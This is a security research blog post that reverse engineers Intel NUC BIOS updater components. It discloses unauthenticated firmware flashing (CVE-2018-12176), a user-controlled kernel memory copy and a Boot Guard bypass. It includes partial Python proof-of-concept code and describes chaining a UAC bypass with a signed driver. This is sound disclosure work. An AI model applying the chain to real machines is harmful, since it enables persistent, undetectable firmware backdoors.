12 December, 2018

NUClear explotion

Introduction

It is widely known, that UEFI BIOS security aims at preventing the SPI flash memory tampering in the first place. Who cares about arbitrary code execution in the context of System Management Mode (SMM), if one cannot just simply write to the SPI flash memory, where UEFI BIOS code is stored. Persistence cannot be achieved that way. All effort will be unsuccessful as soon as the system reboots.

BIOS vendors usually have a few aces up their sleeves when it comes to firmware modification. There are several protection mechanisms, such as BIOS Write Protect (BLE / BIOS_WE), SMM BIOS Write Protect (SMM_BWP), SPI Protected Ranges (PRx), etc. But what if all that makes no difference at all?

What about “legal” BIOS update?

Ok, BIOS resists its direct modification, but there must be some legal firmware upgrade process. Obviously, it requires a signed BIOS capsule, so the update process could verify the integrity of the new firmware version before flashing it. Let’s see how such an update process is implemented in our well-known rolling stone Intel NUC Kit NUC7i3BNH. As we can see from the CHIPSEC framework output below, all the mentioned protections are enabled. The update capsule (distributed in *.bio file) is signed.

BIOS Region Write Protection
------------------------------------------------------------
[*] BC = 0x00000AAA << BIOS Control (b:d.f 00:31.5 + 0xDC)
    [00] BIOSWE           = 0 << BIOS Write Enable
    [01] BLE              = 1 << BIOS Lock Enable
    [02] SRC              = 2 << SPI Read Configuration
    [04] TSS              = 0 << Top Swap Status
    [05] SMM_BWP          = 1 << SMM BIOS Write Protection
    [06] BBS              = 0 << Boot BIOS Strap
    [07] BILD             = 1 << BIOS Interface Lock Down

SPI Protected Ranges
------------------------------------------------------------
PRx (offset) | Value    | Base     | Limit    | WP? | RP?
------------------------------------------------------------
PR0 (84)     | 87FF0240 | 00240000 | 007FFFFF | 1   | 0
PR1 (88)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR2 (8C)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR3 (90)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR4 (94)     | 00000000 | 00000000 | 00000000 | 0   | 0

We are considering the update process that can be initiated directly from an OS (hence, via a purely software way, without any USB sticks or hardware programmers). For this particular case, we can use an executable file Express BIOS Update (Windows systems only).

Important note: Intel has replaced the described updater with another one.

Let’s dive into the reverse engineering of Windows applications.

Express BIOS Update (EBU)

By opening this file in IDA Pro, one can see that this application supports some command line arguments. Among these arguments, we can find -silent string, the purpose of which is to start the update process without user interaction. Let’s take it as a starting point.

  for ( i = 1; i < pNumArgs; ++i )
  {
    if ( !wcscmp(L"-silent", args[i])
      || !wcscmp(L"-s", args[i])
      || !wcscmp(L"-SILENT", args[i])
      || !wcscmp(L"-S", args[i]) )
    {
      this[0x30] = 1;
    }

Below, in this function, we can see:

    if ( this[0x30] == 1 )
    {
      silent_install(&v17);
    }

The pseudocode of the silent_install function is as follows:

void __thiscall silent_install(_DWORD *this)
{
  int force_defaults; // eax
  _DWORD *v3; // [esp+4h] [ebp-4h]

  init_workspace(0);
  v3 = (_DWORD *)sub_403230();
  if ( v3 )
  {
    extract_files(1);
    read_bios(this);
    verify_after_boot();
    force_defaults = sub_402E60(v3);
    call_efi_invoker(this[1], this[2], force_defaults);
  }
}

In the extract_files function, we see this application extracting additional files to work with:

void __cdecl extract_files(int delete_after_reboot)
{
  extract_resource_file(ID_120, itkEfiVar_dll, delete_after_reboot);
  extract_resource_file(ID_155, EfiInvoker_dll, delete_after_reboot);
  extract_resource_file(ID_175, itkEfiVar64_dll, delete_after_reboot);
  extract_resource_file(ID_176, EfiInvoker64_dll, delete_after_reboot);
  extract_resource_file(ID_121, invoker_sys, delete_after_reboot);
  extract_resource_file(ID_157, invoker64_sys, delete_after_reboot);
  extract_resource_file(ID_123, itkvar_sys, delete_after_reboot);
  extract_resource_file(ID_134, itkvar64_sys, delete_after_reboot);
}

With the help of Resource Hacker, we can make sure these files are actually stored in resources:
resource-hacker

The read_bios function shows that the firmware file (the signed BIOS capsule) is stored as a resource with ID = 125. This function reads the contents of bios.bio file into memory:

signed int __thiscall read_bios(void *this)
{
  signed int result; // eax
  FILE *File; // [esp+Ch] [ebp-4h]

  File = 0;
  extract_resource_file(ID_125, bios_bio, 0);
  if ( fopen_s(&File, "bios.bio", "rb") || !File )
    return 0;

  fseek(File, 0, 2);
  *((_DWORD *)this + 2) = ftell(File);

  rewind(File);
  *((_DWORD *)this + 1) = calloc(1u, *((_DWORD *)this + 2));
  if ( *((_DWORD *)this + 1) )
  {
    if ( fread(*((void **)this + 1), 1u, *((_DWORD *)this + 2), File) == *((_DWORD *)this + 2) )
    {
      fclose(File);
      result = 1;
    }
  ...

Finally, the call_efi_invoker function demonstrates the interaction with the dynamic link library EfiInvoker.dll:

  hEfiInvoker = LoadLibraryExW(L"EfiInvoker", 0, 0);
  if ( !hEfiInvoker )
    return 0x15;

  if ( set_defaults )
  {
    pSetForceDefaults_CP = GetProcAddress(hEfiInvoker, "SetForceDefaults_CP");
    if ( !pSetForceDefaults_CP )
    {
      FreeLibrary(hEfiInvoker);
      return 0x18;
    }
    result = pSetForceDefaults_CP(1);
  }

  pPrepareCapsule_CP = GetProcAddress(hEfiInvoker, "PrepareCapsule_CP");
  if ( pPrepareCapsule_CP )
  {
    result = pPrepareCapsule_CP(bios_data, bios_size, &unused, &pa_bdl);
    if ( result )
      FreeLibrary(hEfiInvoker);
  }
  ...

There are calls to the exported functions SetForceDefaults_CP (if BIOS configuration reset is needed) and PrepareCapsule_CP, which does all the work (CP is ClawPoint, whatever it means).

Dynamic link library EfiInvoker.dll

The dynamic link library EfiInvoker.dll implements all the logic of the update process. At the initialization stage, this library installs the system driver invoker(64).sys into the system (InvSYS object).

The exported function PrepareCapsule_CP is quite self-explanatory, thanks to debug prints:

int __stdcall PrepareCapsule_CP(void *bios_data, size_t bios_size, int unused, PHYSICAL_ADDRESS *pa_bdl)
{
  int result; // eax MAPDST
  CHAR Buffer; // [esp+Ch] [ebp-18h]

  OutputDebugStringA("INFO:InvDLL:PrepareCapsule_CP:entry point\n");
  if ( InvSYS )
  {
    result = InvSYS->vtable->PrepCapsule_CP(bios_data, bios_size, unused, pa_bdl);
    if ( !result )
    {
      OutputDebugStringA("INFO:InvDLL:PrepareCapsule_CP:LoadEfiVarDll\n");
      result = LoadEfiVarDll();
      if ( result )
      {
        OutputDebugStringA("ERROR:InvDLL:PrepareCapsule_CP:Failed to attach to VarDLL\n");
      }
      else
      {
        result = WriteMailbox_CP(*pa_bdl);
        if ( result )
        {
          OutputDebugStringA("ERROR:InvDLL:PrepareCapsule_CP:Call to WriteMailbox_CP failed\n");
        }
        else
        {
          set_force_defaults();
          set_recovery_file(bios_data, bios_size);

          if ( hItkEfiVar )
            FreeLibrary(hItkEfiVar);

          // this is for debugging purposes
          GetEnvironmentVariableA("ClawPointReboot", &Buffer, 0x14u);
          if ( Buffer == 0x46 )
          {
            OutputDebugStringA("ERROR:InvDLL:PrepareCapsule_CP:Not rebooting\n");
            result = 0;
          }
          else
          {
            OutputDebugStringA("ERROR:InvDLL:PrepareCapsule_CP:Rebooting\n");
            result = InvSYS->vtable->SystemReboot();
          }
        }
      }
    }
  }
  else
  {
    OutputDebugStringA("ERROR:InvDLL:PrepareCapsule_CP:InvSYS not installed\n");
    result = 2;
  }
  return result;
}

From the above pseudocode, we can see that the library calls the virtual function PrepCapsule_CP of the driver object:

signed int __stdcall PrepCapsule_CP(int bios_data, int bios_size, int unused, int list_pa)
{
  HANDLE handle; // esi
  signed int result; // eax
  BOOL res; // edi
  DWORD BytesReturned; // [esp+8h] [ebp-1Ch]
  int InBuffer[5]; // [esp+Ch] [ebp-18h]

  InBuffer[0] = bios_data;
  InBuffer[1] = bios_size;
  InBuffer[4] = list_pa;
  InBuffer[2] = unused;
  InBuffer[3] = 0;
  handle = CreateFileA("\\\\.\\INVOKER", 0xC0000000, 0, 0, 3u, 0, 0);
  if ( handle == INVALID_HANDLE_VALUE )
  {
    OutputDebugStringA("ERROR:InvDLL:PrepCapsule_CP:failed to get handle to Invoker driver\n");
    result = 0xB;
  }
  else
  {
    res = DeviceIoControl(handle, 0x9C412410, InBuffer, 0x14u, InBuffer, 0x14u, &BytesReturned, 0);
    CloseHandle(handle);
  ...

There is the call to the WinAPI function DeviceIoControl to communicate with the driver. Now, we know the specific IOCTL number in the driver. We will look at its implementation a bit later.

Dynamic link library itkEfiVar.dll

The next thing is the initialization of the dynamic link library itkEfiVar.dll, which in its turn installs another system driver – itkvar(64).sys. That library exports the following functions:

  • GetExportDb
  • GetNextVariableName
  • GetVariable
  • ReadPhysicalMemory
  • SetVariable

Having a look at the list of the exported functions, we can conclude that the library provides the ability to work with EFI variables (non-volatile variables that persist between boots). It is used in the WriteMailbox_CP function:

  qmemcpy(VariableName, L"CapsuleUpdateData", sizeof(VariableName));

  Data = pa_bdl;

  VendorGuid.Data1 = 0x711C703F;
  *&VendorGuid.Data2 = 0x4B10C285;
  *VendorGuid.Data4 = 0xEC36B0A3;
  *&VendorGuid.Data4[4] = 0xE28B3CBD;

  Attributes = 7;
  DataSize = 8;

  OutputDebugStringA("INFO:InvDLL:WriteMailbox_CP:entry point\n");
  sprintf(&OutputString, "INFO:InvDLL:WriteMailbox_CP:PhysAddressOfBdl=%I64x\n", pa_bdl.QuadPart);
  OutputDebugStringA(&OutputString);

  if ( pSetVariable(VariableName, &VendorGuid, &Attributes, &DataSize, &Data) )
  {
    OutputDebugStringA("ERROR:InvDLL:WriteMailbox_CP:Call to SetVariable through VarDLL failed\n");
    result = 0x11;
  }

Using the exported function SetVariable, it sets the EFI variable CapsuleUpdateData (which GUID is {711c703f-c285-4b10-a3b0-36ecbd3c8be2}) to the value of the pa_bdl variable (Physical Address of Bios Data List) that was returned by the driver in the function PrepCapsule_CP.

After that, we have to reboot the system. Actually “BIOS Shutdown” will be performed using the WinAPI function ntdll.dll!NtShutdownSystem(ShutdownPowerOff).

We have completed the study of the user mode side. Let’s see what is going on in the kernel. The next stop is invoker.sys.

Kernel driver invoker.sys

As we remember, the EfiInvoker.dll library calls the driver through the Input/Output Control with the number 0x9C412410. After the DeviceControl function of the driver is identified, we can find out where this particular IOCTL is implemented:

    case 0x9C412410:
      ioctl_capsule(Irp);                       // INVOKER_IOCTL_DIOC_CAPSULE_CP
      Irp->IoStatus.Information = 0x14;

The code of this function is quite simple:

unsigned int __stdcall ioctl_capsule(PIRP irp)
{
  PREPARE_CAPSULE_REQ *system_buffer; // esi
  signed int status; // eax

  system_buffer = (PREPARE_CAPSULE_REQ *)irp->AssociatedIrp.SystemBuffer;
  system_buffer->status = 0;
  if ( MmIsAddressValid(system_buffer->bios_data) && MmIsAddressValid(system_buffer->unused) )
  {
    if ( copy_to_list((int)system_buffer->bios_data, system_buffer->bios_size) )
    {
      status = export_list_to_bdl(system_buffer->pa_bdl);
      if ( !status )
        return 0;
      system_buffer->status = status;
    }
    else
    {
      system_buffer->status = 6;
    }
  }
  else
  {
    system_buffer->status = 3;
  }
  return 0xC0000001;
}

There is validation of pointers from the input buffer, the structure of which looks this way:

struct PREPARE_CAPSULE_REQ
{
  PVOID bios_data;
  _DWORD bios_size;
  PVOID unused;
  _DWORD status;
  PHYSICAL_ADDRESS *pa_bdl;
};

Fields status and pa_bdl are output fields.

After address validation, the fields bios_data and bios_size are added to a singly linked list. The list, in its turn, is exported as “BIOS Data List”.
Adding a new entry to the list looks like this:

char __stdcall copy_to_list(int src, SIZE_T size)
{
  PVOID addr; // eax MAPDST

  if ( size < PAGE_SIZE )
    return 0;

  addr = MmAllocateContiguousMemory(size, (PHYSICAL_ADDRESS)0xFFFFFFFFi64);
  if ( addr )
  {
    qmemcpy(addr, (const void *)src, size);
    if ( !push_entry_list(addr, size) )
    {
      MmFreeContiguousMemory(addr);
      return 0;
    }
  }
  else
  {
    if ( !copy_to_list(src, size >> 1) )
      return 0;
    if ( !copy_to_list(src + (size >> 1), size - (size >> 1)) )
    {
      free_list();
      return 0;
    }
  }
  return 1;
}

The size of the data block to be added must not be smaller than PAGE_SIZE (0x1000). If allocating of contiguous, nonpaged physical memory with a given size is impossible, then smaller blocks are recursively added to the list. Each new entry is added to the end of the list.

The list entries have the following structure:

#pragma pack(8)

struct BIOS_LIST_ENTRY
{
  _DWORD size;
  _DWORD addr;
  BIOS_LIST_ENTRY *next_entry;
};

And, finally, we have to find out how this list is exported in the form of “BIOS Data List”:

signed int __stdcall export_list_to_bdl(PHYSICAL_ADDRESS *pa_bdl)
{
  int i; // ebp
  BDL_ENTRY *bdl_entry; // eax MAPDST
  PHYSICAL_ADDRESS pa; // rax
  BIOS_LIST_ENTRY *list_entry; // edi
  int size; // eax

  i = 0;
  bdl_entry = (BDL_ENTRY *)MmAllocateContiguousMemory(0x10 * (list_entry_count + 1), (PHYSICAL_ADDRESS)0xFFFFFFFFi64);
  if ( !bdl_entry )
    return 6;

  pa = MmGetPhysicalAddress(bdl_entry);
  *pa_bdl = (PHYSICAL_ADDRESS)pa.LowPart;

  list_entry = bios_list_head;
  if ( list_entry_count > 0 )
  {
    do
    {
      bdl_entry->addr = MmGetPhysicalAddress((PVOID)list_entry->addr);

      size = list_entry->size;
      HIDWORD(bdl_entry->size) = 0;
      LODWORD(bdl_entry->size) = size;

      list_entry = list_entry->next_entry;
      ++bdl_entry;
      ++i;
    }
    while ( i < list_entry_count );
  }

  bdl_entry->addr.LowPart = 0;
  bdl_entry->addr.HighPart = 0;
  LODWORD(bdl_entry->size) = 0;
  HIDWORD(bdl_entry->size) = 0;

  return 0;
}

Thus, we can conclude that in the physical address space pointed by pa_bdl, entries with the following structure will be stored:

struct BDL_ENTRY
{
  _QWORD size;
  PHYSICAL_ADDRESS addr;
};

Entries are arranged one after another. The last entry must contain the zero size and address.

Getting the pieces together

The full picture of the update process looks as follows:

  1. Allocate one or more contiguous physical memory spaces.
  2. Fill these memory spaces with the contents of the BIOS update capsule (*.bio).
  3. Allocate another physical memory space for the BIOS data list.
  4. Fill in this list, specifying the sizes and physical addresses of all allocated memory regions with the BIOS update capsule data.
  5. Save the physical address of the BIOS data list to the EFI variable CapsuleUpdateData.
  6. Shut down the system.
  7. Enjoy the process of updating the BIOS firmware.
  8. Done!

Kernel driver itkvar.sys

Since we know the purpose of this driver, it does not actually matter what happens inside. However, we could not ignore a few potentially vulnerable interfaces provided by these kernel drivers. The thing is, obviously, a part of such BIOS updaters should have privileged access to hardware (physical/virtual memory, MMIO, IO ports, EFI runtime services, etc.), hence this part is usually implemeted as a signed kernel driver. However, instead of locking this unsafe functionality inside the driver, the developers allow to contol it from a user space. This subject was recently raised by Alex Matrosov in the article What makes OS drivers dangerous for BIOS?.

And here is yet another thing for you: CVE-2018-12158 found in itkvar.sys. As we can see from the code below, one if its IOCTL handlers has a memmove() = memcpy() with all three arguments the user specified!

typedef struct 
{
    LARGE_INTEGER   src;
    DWORD           dest; 
    DWORD           reserved;
    DWORD           size;
    DWORD             status;    
} IOCTL_STRUCT;


case 0x9C402418:
      IOCTL_STRUCT *IoctlStruct = (ICTL_STRUCT *) Irp->AssociatedIrp.SystemBuffer;
      DWORD dest = IoctlStruct->dest;
      LARGE_INTEGER src = IoctlStruct->src;
      DWORD size = IoctlStruct->size;

      if (MmIsAddressValid(dest))
      {
        ptr = MmMapIoSpace(src, size, 0);
        if (ptr)
        {                                // memory copy with all
          memmove(dest, ptr, size);      // 3 arguments user-controlled!
          MmUnmapIoSpace(ptr, size);
        }

DIY: Updating the firmware

Now let’s try to perform the update process just for fun. We are going to modify an original firmware and see what will happen.

Patching the firmware

We are interested in the UEFI capsule update file (.bio extension), which can be downloaded at Intel download center or extracted from the executable file “Express BIOS update” using Resource Hacker. This file can be opened with the help of UEFITool, of course. We are required to use Rebuilt function, thus we have to use version 0.2x.x (not New Engine).

Let’s try to replace the BIOS startup logo by something else. Using UEFITool, search for JPEG files in the firmware (“JFIF” signature). This firmware contains 3 logos of different dimensions:
uefitool intel-logo

It was determined by experience that the file with GUID {918E7AD1-C1FA-474E-82ED-356DD84F3795} is displayed at startup. Select a new JPEG file to replace it and do “Replace body” of the “Raw section”, and then save the UEFI capsule file.

Patching Express BIOS update file

We have already found out earlier that the file bios.bio is stored in the resources of the Express BIOS update file with ID = 125. So it’s quite simple: just replace this resource by our patched UEFI capsule file using Resource Hacker, and then save the executable file.

That shocking moment

Let’s run our new and shiny Express BIOS update file (on Intel NUC Kit PC, of course) and see what we get…

Flashing motherboard firmware:

Current revision:     BNKBL357.86A.0061.2017.1221.1952
Updating to revision: BNKBL357.86A.0063.2018.0413.1542

Preparing image for Intel(R) Management Engine firmware ... [done]
Preparing image for BackUp Recovery Block firmware ... [done]
Preparing image for Boot Block firmware ... [done]
Preparing image for Recovery firmware ... [done]
Preparing image for Main Block firmware ... [done]
Preparing image for Graphic firmware ... [done]
Preparing image for FV Data firmware ... [done]
Flashing image for Intel(R) Management Engine firmware ... [done]
Flashing image for BackUp Recovery Block firmware ... [done]
Flashing image for Boot Block firmware ... [done]
Flashing image for Recovery firmware ... [done]
Flashing image for Main Block firmware ... [done]
Flashing image for Graphic firmware ... [done]
Flashing image for FV Data firmware ... [done]

Flash update has completed successfully.

“Flash update has completed successfully” – sounds like a joke. And a really bad one!

bios-startup

… so, there was no joke, only BIOS patching. Unauthenticated BIOS patching! All we need is administator privileges on the target system.

But do not think that only the startup logo can be patched. Any SMM or PEI module can be modified. Everything can be patched (except Intel ME firmware, of course). Startup logo is just an easy, visual example.

Meet THE GREAT UPDATER

Let’s make a universal Intel NUC Kit updater script. We will discard all these Windows-specific libraries and drivers and instead use Python with the CHIPSEC framework.

Writing the PoC

First of all, we have to split the whole BIOS firmware data into several chunks, just in case the kernel cannot allocate such a large area of contiguous, nonpaged physical memory.

def split_data(data, data_size, chunk_size):
    chunks = [ data[i:i+chunk_size] for i in range(0, data_size, chunk_size) ]
    return chunks, len(chunks)

bios_chunks, chunk_count = split_data(bios_data, bios_size, BIOS_CHUNK_SIZE)

Then, allocate enough physical memory for the BIOS data list, the total size of which is calculated like $(count(chunks) + 1) * 16$.

bdl_size = 0x10 * (chunk_count + 1) # +1 for null terminator
bdl_addr = alloc_and_write('\0' * bdl_size)

After that, allocate physical memory for each BIOS chunk and fill it. Do not forget to store addresses and sizes of chunks in the BIOS data list.

def chunks_to_bdl(bdl_addr, chunks):
    for i, chunk in enumerate(chunks):
        addr = alloc_and_write(chunk)
        size = len(chunk)

        mem_write(bdl_addr + 0x10 * i, 0x10, pack('<QQ', size, addr))

        print('chunk #{} at 0x{:x} with size {} bytes'.format(i, addr, size))

chunks_to_bdl(bdl_addr, bios_chunks)

CHIPSEC framework provides a way to work with EFI variables. We use this advantage to set the physical address of the BIOS data list to the variable CapsuleUpdateData:

cs.helper.set_EFI_variable('CapsuleUpdateData', '711c703f-c285-4b10-a3b0-36ecbd3c8be2', pack('<Q', bdl_addr), 8, 7)

All there is left to do is to reboot the system (more precisely, turn it off). It is quite simple:

# Windows
if os.name == 'nt':
    os.system('shutdown /s /f /t 0')

# Linux
elif os.name == 'posix':
    os.system('shutdown now')

Taking care of the legacy

We could have done it right now, but what if the system is not installed in the UEFI mode? If the system boots into the Legacy mode, the operating system cannot use EFI Runtime Services. In this case, our PoC will not be able to use one of the UEFI-provided functions – SetVariable, because the access to this service is provided by the kernel that does not know about any EFI services in the Legacy mode.

To solve this problem, we can use a special SMM driver, which is included in the firmware of Intel NUC Kit NUC7i3BNH. It’s ItkSmmVars {E9850CDC-EF11-4767-9F71-D01489FAEA9F}, whose name is similiar to “itkEfiVar.dll” and “itkvar.sys”, so it looks like we’re destined to use it.

This SMM driver registers Software SMI handlers #0xEF and #44. If we look at their dispatch function, we can see that it uses esi and ebx registers as input:

gCpuProtocol->ReadSaveState(gCpuProtocol, 4ui64, EFI_SMM_SAVE_STATE_REGISTER_RSI, cpu_id, &esi_value);
gCpuProtocol->ReadSaveState(gCpuProtocol, 4ui64, EFI_SMM_SAVE_STATE_REGISTER_RBX, cpu_id, &ebx_value);

input_buffer = esi_value;

Note that it uses 32-bit registers (width = 4 bytes).

A value from esi register is used as a pointer to the input data, the structure of which looks somewhat like this:

struct ITK_REQ
{
  _BYTE smi_num;
  _BYTE cmd_id;
  _BYTE padding[2];
  _DWORD var_info;
  _BYTE gap0[16];
  _DWORD status;
  _BYTE gap1[20];
};

Here, var_info is a 32-bit pointer to the following structure:

struct EFI_VARIABLE
{
  EFI_GUID guid;
  _DWORD name;        // CHAR16 *
  UINT32 attributes;
  UINT32 data_size;
  UINT32 data_ptr;
};

Down the pseudocode, we can find the handling of subcommands:

if ( (_WORD)ebx_value != 0x13 )
{
  if ( input_buffer->smi_num == 0xEFu )
  {
    switch ( input_buffer->cmd_id )
    {
      case 1:
      ...
      case 2:
      ...
      case 3:
      ...
      case 4:
      ...
    }
  }
...

This driver has 4 subcommands for SMI #0xEF. The most interesting command is 3:

*(_DWORD *)qword_800061D8 = 'DBCI';
var_info = (EFI_VARIABLE *)(unsigned int)input_buffer->var_info;

if ( !address_sanitizer
  || address_sanitizer->check_address_range((unsigned int)input_buffer->var_info, 0x20i64) < 0
  || address_sanitizer->check_address_range((unsigned int)var_info->name, 0xA0i64) < 0
  || address_sanitizer->check_address_range(var_info->data_ptr, var_info->data_size) < 0 )
{
  return 0x800000000000000Fi64;
}

...

  status = gEfiRuntimeServices->SetVariable(
             (CHAR16 *)(unsigned int)var_info->name,
             &var_info->guid,
             var_info->attributes,
             var_info->data_size,
             (void *)var_info->data_ptr);
}

*(_DWORD *)qword_800061D8 = 0;
break;

There is the call to EFI_RUNTIME_SERVICES.SetVariable – exactly what we need. We can prepare input buffers and fill them in accordance with the structures ITK_REQ and EFI_VARIABLE. Then just call an interrupt to SMI handler #0xEF, and the SMM driver will do all the work for us.

So, the last piece of the puzzle is:

# GUID and name of the EFI variable
guid = UUID(guid).bytes_le
name = (name + '\0').encode('utf-16le')

name_addr = mem_buffer_write(name)
data_addr = mem_buffer_write(data)

# fill in the EFI_VARIABLE structure
var_info = pack('<16s I I I I', guid, name_addr, attributes, data_size, data_addr)
var_info_addr = mem_buffer_write(var_info)

# fill in the ITK_REQ structure (significant part only)
smi_input = pack('<B B H I', ITKSMMVARS_SMI_NUMBER, ITKSMMVARS_CMD_ID, 0, var_info_addr)
smi_input_addr = mem_buffer_write(smi_input)

# the input buffer is passed via RSI register
send_sw_smi(0, ITKSMMVARS_SMI_NUMBER, 0, 0, 0, 0, _rsi=smi_input_addr, _rdi=0)

The only drawback of this method is that all pointers must be 32-bit. In case the kernel does not respect our desire to allocate physical memory below 4GB range, we can use some space just below SMRAM (which is always in the 4GB memory range).

Tell me more about the impact

An attacker must have local or physical access to the system. A successful attack leads to a complete compromise of the system. An attacker can inject some backdoor code into the firmware. This will give them full access to the hardware of the system, including the ability to observe physical memory and record keystrokes. A victim won’t even be able to detect this threat without firmware verification.

Demo time

We have a little present for Linux users. As mentioned, the Express BIOS update application is available only to Windows users. But our GREAT UPDATER doesn’t have this humiliating constraint. Now everyone can update the BIOS firmware of Intel NUC Kit, which is as simple as running a python script. You no longer need to reboot your system to BIOS with the update file on a USB stick.

Let’s see what it looks like when running the PoC, for example, on Linux OS.

Summary

This is the CVE-2018-12176. As we can see, the presented attack vector allows bypassing all common BIOS security mechanisms (except Intel BIOS Guard, which is actually set to disabled by default on these systems), hence it allows modifying BIOS code on SPI flash memory on Intel NUCs. Though, not all of them. Some NUCs additionally have Intel Boot Guard turned on (afawk the DNKBLi5v model has it), which means that after illegal modification of BIOS code is completed, the system won’t boot because the itegrity verification process will detect this. So, let’s bypass it, once again.

Looking at Intel Boot Guard’s big holes again

You might remember, that a bunch of Intel Boot Guard (vendor’s part of verified boot implementation) bypass tecnhiques were demostrated last year:

But these vulnerabilities must be patched now. However, let’s take a closer look at it.

Intel Boot Guard implementation in a startup ACM protects BootBlockAreas (mapped to FFF00000h in memory), this section includes two hash containers:

1) GUID {98DB68E0-5AB6-4A48-80C8-EAC6C51180FC} covers RecoveryAreas (mapped to FF920000h); to verify it, a special callback routine (through NotifyPpi GUID {633194BE-1697-11E1-B5F0-2CB24824019B}) is called in BootGuardPei (routine memory address FFF14390h). It creates BootGuardPei GUID_EXTENSION HOB (GUID {B60AB175-…}) in memory

bg01

and saves the verification result there (positive value if verification was successful, and zero in case it failed).
bg02

2) GUID {CBC91F44-A4BC-4A5B-8696-703451D0B053} covers MainAreas (mapped to FFA20000h); to verify it, another special callback routine (through NotifyPpi GUID {E2E3D5D1-8356-4F96-9C9E-2EC3481DEA88}) in BootGuardPei is called (routine memory address FFF14494h). It parses the HobList and finds BootGuardPei HOB created by the previous callback routine

bg03

then rewrites its contents with the MainAreas verification result (1 in case of successful verification).
bg04

Thus, it ignores the value stored by the previous callback routine, hence the result of the verification of RecoveryAreas is ignored!

So RecoveryAreas section is not properly protected against illegal modifications by Boot Guard. This allows a possible attacker with local or physical access (who is capable of rewriting the BIOS region of SPI flash, and now we’re sure – they are 🙂 ) to bypass Boot Guard and perform code execution in the BIOS environment the following way: modify RecoveryAreas (inject a piece of code you want to run) -> damage MainAreas to trigger the Recovery Mode, which will lead to the execution of modified RecoveryAreas BIOS modules.

This vulnerability (CVE-2018-3623) was found in the version DN0026 of Intel NUC BIOS update and is fixed in all newer versions (end of November 2017 and newer).

“user-frendly” BIOS pwning

Instead of jumping to conclusions, let’s make sure that the possibility of malicious BIOS modifications is not a myth. Firs of all, the LOJAX UEFI rootkit prooves it. Second, let’s see how such an attack could be easily perfomed from a user land.

To achieve that, we took some projects that appear to be handy:

1) UACME to bypass UAC. We took just one method to avoid detection by the antivirus software.

2) a signed kernel driver RWEverything for accessing R/W routines (both virtual and physical memory) in kernel space. Also, we used libfw, a part of fwexlp project which had implemented rountines to work with the driver.

After this, we wrote a PoC that (after bypassing UAC and loading the driver) prepares “BIOS Data List” in physical memory, sets “CapsuleUpdateData“ EFI variable, and shuts downs the system. As you can see, the PoC doesn’t require to be run as administrator and doesn’t require the system to be in test mode (this mode allows loading unsigned kernel drivers).

Mitigations

At the moment, this attack can be mitigated by keeping your OS updated (all the mentioned drivers are blacklisted now) and by keeping your BIOS updated.